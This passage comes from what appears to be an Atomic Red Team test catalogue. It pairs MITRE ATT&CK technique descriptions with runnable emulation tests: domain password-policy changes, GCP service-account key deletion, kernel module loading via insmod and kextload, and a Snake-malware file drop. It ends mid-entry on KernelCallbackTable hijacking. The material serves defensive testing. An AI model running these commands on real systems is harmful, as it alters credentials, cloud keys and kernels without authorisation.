if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Special Character in Password' auto_generated_guid: 7d984ef2-2db2-4cec-b090-e637e1698f61 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has upper and lower case and number but no special character) type: string default: UpperLowerLong333noSpecialChar cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Uppercase Character in Password' auto_generated_guid: b299c120-44a7-4d68-b8e2-8ba5a28511ec description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has and lower case and special character and number but no uppercase) type: string default: lower-long-special-333 cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Lowercase Character in Password' auto_generated_guid: 945da11e-977e-4dab-85d2-f394d03c5887 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has and upper case and special character and number but no lowercase) type: string default: UPPER-LONG-SPECIAL-333 cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: Only Two Character Classes' auto_generated_guid: 784d1349-5a26-4d20-af5e-d6af53bae460 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default has only upper and lower case characters) type: string default: onlyUPandLowChars cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: Common Password Use' auto_generated_guid: 81959d03-c51f-49a1-bb24-23f1ec885578 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is Season and current year combo) type: string default: Spring$((Get-Date).Year)! cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: GCP - Delete Service Account Key auto_generated_guid: 7ece1dea-49f1-4d62-bdcc-5801e3292510 description: "This Atomic will: \n - Create a service account\n - Create a service account key, \n - Store the result of retrieving a single key for that service account as a variable\n - Pass that variable for deletion\n \ - Delete the service account\n\nThe idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).\nEach service account is associated with two sets of public/private RSA key pairs that are used to authenticate. \nIf a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n" supported_platforms: - iaas:gcp input_arguments: project_id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 service_name: description: The name of the service account. type: string default: atomic-service-account executor: name: sh elevation_required: false command: | gcloud config set project #{project_id} KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1` gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet cleanup_command: | cd "$PathToAtomicsFolder/T1098/src/T1098-17/" terraform state rm google_service_account_key.key terraform destroy -auto-approve dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install the terraform. ' - description: 'Create dependency resources using terraform ' prereq_command: 'stat "$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate" ' get_prereq_command: |- cd "$PathToAtomicsFolder/T1098/src/T1098-17/" terraform init terraform apply -auto-approve T1547.006: technique: x_mitre_platforms: - macOS - Linux x_mitre_domains: - enterprise-attack x_mitre_contributors: - Wayne Silva, F-Secure Countercept - Anastasios Pingios - Jeremy Galloway - Red Canary - Eric Kaiser @ideologysec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6 created: '2020-01-24T17:42:23.339Z' x_mitre_version: '1.3' external_references: - source_name: mitre-attack external_id: T1547.006 url: https://attack.mitre.org/techniques/T1547/006 - source_name: Apple Developer Configuration Profile url: https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf description: Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021. - source_name: Apple Kernel Extension Deprecation url: https://developer.apple.com/support/kernel-extensions/ description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. - source_name: System and kernel extensions in macOS url: https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web description: Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022. - source_name: GitHub Reptile url: https://github.com/f0rb1dd3n/Reptile description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. - source_name: Volatility Phalanx2 url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.' - source_name: iDefense Rootkit Overview url: http://www.megasecurity.org/papers/Rootkits.pdf description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. - source_name: Linux Loadable Kernel Module Insert and Remove LKMs url: http://tldp.org/HOWTO/Module-HOWTO/x197.html description: Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. - source_name: CrowdStrike Linux Rootkit url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. - source_name: GitHub Diamorphine url: https://github.com/m0nad/Diamorphine description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. - source_name: Securelist Ventir url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.' - source_name: User Approved Kernel Extension Pike’s url: https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/ description: Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021. - source_name: Linux Kernel Module Programming Guide url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018. - source_name: Linux Kernel Programming url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. - source_name: Trend Micro Skidmap url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. - source_name: Purves Kextpocalypse 2 url: https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/ description: Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021. - source_name: RSAC 2015 San Francisco Patrick Wardle url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. - source_name: Synack Secure Kernel Extension Broken url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. - source_name: Wikipedia Loadable Kernel Module url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018. x_mitre_deprecated: false revoked: false description: |- Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)  When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview) Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS) Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation) Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Autostart Execution: Kernel Modules and Extensions' x_mitre_detection: | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Creation' - 'File: File Modification' - 'Kernel: Kernel Module Load' - 'Process: Process Creation' x_mitre_permissions_required: - root x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.006 atomic_tests: - name: Linux - Load Kernel Module via insmod auto_generated_guid: 687dcb93-9656-4853-9c36-9977315e9d23 description: 'This test uses the insmod command to load a kernel module for Linux. ' supported_platforms: - linux input_arguments: module_name: description: Name of the kernel module name. type: string default: T1547006 module_path: description: Folder used to store the module. type: path default: "/tmp/T1547.006/T1547006.ko" temp_folder: description: Temp folder used to compile the code. type: path default: "/tmp/T1547.006" module_source_path: description: Path to download Gsecdump binary file type: path default: PathToAtomicsFolder/T1547.006/src dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location ' prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi; ' get_prereq_command: | if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi; cp #{module_source_path}/* #{temp_folder}/ cd #{temp_folder}; make if [ ! -f #{module_path} ]; then mv #{temp_folder}/#{module_name}.ko #{module_path}; fi; executor: command: 'sudo insmod #{module_path} ' cleanup_command: | sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder} name: bash elevation_required: true - name: MacOS - Load Kernel Module via kextload and kmutil auto_generated_guid: f4391089-d3a5-4dd1-ab22-0419527f2672 description: 'This test uses the kextload and kmutil commands to load and unload a MacOS kernel module. ' supported_platforms: - macos input_arguments: module_path: description: Folder used to store the module. type: path default: "/Library/Extensions/SoftRAID.kext" dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location ' prereq_command: 'if [ -d #{module_path} ] ; then exit 0; else exit 1 ; fi ' get_prereq_command: 'exit 1 ' executor: command: | set -x sudo kextload #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload #{module_path} sudo kmutil load -p #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kmutil unload -p #{module_path} name: bash elevation_required: true - name: MacOS - Load Kernel Module via KextManagerLoadKextWithURL() auto_generated_guid: f0007753-beb3-41ea-9948-760785e4c1e5 description: | This test uses the IOKit API to load a kernel module for macOS. Harcoded to use SoftRAID kext supported_platforms: - macos input_arguments: src_path: description: Folder used to store the module. type: path default: PathToAtomicsFolder/T1547.006/src/macos_kextload.c exe_path: description: Folder used to store the module. type: path default: "/tmp/T1547006_iokit_loader" dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location ' prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi ' get_prereq_command: 'cc -o #{exe_path} #{src_path} -framework IOKit -framework Foundation ' executor: command: | sudo #{exe_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload /Library/Extensions/SoftRAID.kext name: bash elevation_required: true cleanup_command: 'rm -f #{exe_path} ' - name: Snake Malware Kernel Driver Comadmin auto_generated_guid: e5cb5564-cc7b-4050-86e8-f2d9eec1941f description: "The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a\nsingle AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\\system32\\Com directory. \nThis Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \ \n" supported_platforms: - windows executor: command: '$examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes) ' cleanup_command: '$examplePath = Join-Path $env:windir "system32\Com"; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force } ' name: powershell elevation_required: true T1574.013: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde type: attack-pattern created: '2022-02-25T15:27:44.927Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.013 url: https://attack.mitre.org/techniques/T1574/013 - source_name: Lazarus APT January 2022 url: https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/ description: Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022. - source_name: 'FinFisher exposed ' url: https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/ description: 'Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.' - source_name: Windows Process Injection KernelCallbackTable url: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/ description: 'odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.' - source_name: NtQueryInformationProcess url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess description: Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022. modified: '2022-05-11T14:00:00.188Z' name: KernelCallbackTable description: |- Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable) An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process. A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022) The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Analyze process behavior to determine 